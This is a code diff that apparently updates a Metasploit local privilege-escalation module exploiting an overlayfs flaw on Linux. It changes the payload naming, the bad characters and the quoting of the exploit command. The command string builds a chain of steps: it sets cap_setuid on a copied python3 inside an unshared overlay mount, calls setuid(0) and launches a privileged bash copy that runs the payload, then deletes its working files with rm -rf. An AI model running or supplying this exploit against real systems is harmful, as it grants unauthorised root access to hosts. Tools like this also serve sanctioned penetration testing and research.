@@ -29,7 +29,7 @@ def initialize(info = {})
2929 'bwatters-r7' , # MsF Module
3030 'gardnerapp' , # MsF Module
3131 ] ,
32- 'Platform' => [ 'linux' ] ,
32+ 'Platform' => [ 'linux' , 'unix' ] ,
3333 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
3434 'DisclosureDate' => '2023-07-26' ,
3535 'References' => [
@@ -55,7 +55,7 @@ def initialize(info = {})
5555 'Arch' => ARCH_CMD ,
5656 'Payload' =>
5757 {
58- 'BadChars' => "\x93 \x94 "
58+ 'BadChars' => "\x22 \x27 "
5959 }
6060 }
6161 ]
@@ -69,7 +69,7 @@ def initialize(info = {})
6969 )
7070 register_options [
7171 OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files' , '/tmp' ] ) ,
72- OptString . new ( 'PayloadFileName' , [ true , 'Name of payload' , 'marv' ] ) ,
72+ OptString . new ( 'PayloadFileName' , [ true , 'Name of payload' , Rex :: Text . rand_text_alpha ( rand ( 8 .. 12 ) ) ] )
7373 ]
7474 end
7575
@@ -150,7 +150,7 @@ def exploit
150150 end
151151
152152 if target . arch . first == ARCH_CMD
153- payload_cmd = " \\ \" #{ payload . encoded } \\ \" "
153+ payload_cmd = payload . encoded
154154 else
155155 pay_file = datastore [ 'PayloadFilename' ]
156156 payload_path = "#{ pay_dir } #{ pay_file } "
@@ -164,22 +164,24 @@ def exploit
164164
165165 # Exploit overlayfs vuln
166166 # Build the command
167+ rmrf_cmd = " rm -rf #{ lower_dir } #{ merge_dir } #{ upper_dir } #{ work_dir } #{ bash_copy } "
167168
168169 exploit_cmd = 'unshare -rm sh -c "'
169170 exploit_cmd << "cp #{ cmd_exec ( 'which python3' ) } #{ lower_dir } ; "
170171 exploit_cmd << "setcap cap_setuid+eip #{ lower_dir } python3; "
171172 exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{ lower_dir } ,upperdir=#{ upper_dir } ,workdir=#{ work_dir } #{ merge_dir } && "
172- exploit_cmd << "touch #{ merge_dir } *; \" && "
173+ exploit_cmd << "touch #{ merge_dir } *; "
173174 exploit_cmd << "#{ upper_dir } python3 -c 'import os;os.setuid(0);os.system("
174- exploit_cmd << "\" cp /bin/bash #{ bash_copy } && chmod +x #{ bash_copy } && "
175- exploit_cmd << "chmod +x #{ payload_cmd } && " unless target . arch . first == ARCH_CMD
176- exploit_cmd << "#{ bash_copy } -p -c "
177- exploit_cmd << payload_cmd
178- exploit_cmd << ' && ' unless target . arch . first == ARCH_CMD
179- exploit_cmd << " rm -rf #{ lower_dir } #{ merge_dir } #{ upper_dir } #{ work_dir } #{ bash_copy } \" )'"
180-
175+ exploit_cmd << "\\ \" cp /bin/bash #{ bash_copy } && chmod +x #{ bash_copy } && "
176+ if target . arch . first == ARCH_CMD
177+ payload_cmd . gsub! ( '\\\\\\' , '\\\\\\\\' )
178+ exploit_cmd << "#{ bash_copy } -p -c \\ \\ \\ \" (#{ payload_cmd } ); #{ rmrf_cmd } \\ \\ \\ \" "
179+ else
180+ exploit_cmd << "chmod +x #{ payload_cmd } && #{ payload_cmd } & #{ rmrf_cmd } "
181+ end
182+ exploit_cmd << "\\ \" )'\" "
181183 output = cmd_exec ( exploit_cmd )
182- print_status ( output )
184+ vprint_status ( output )
183185 end
184186
185187end
0 commit comments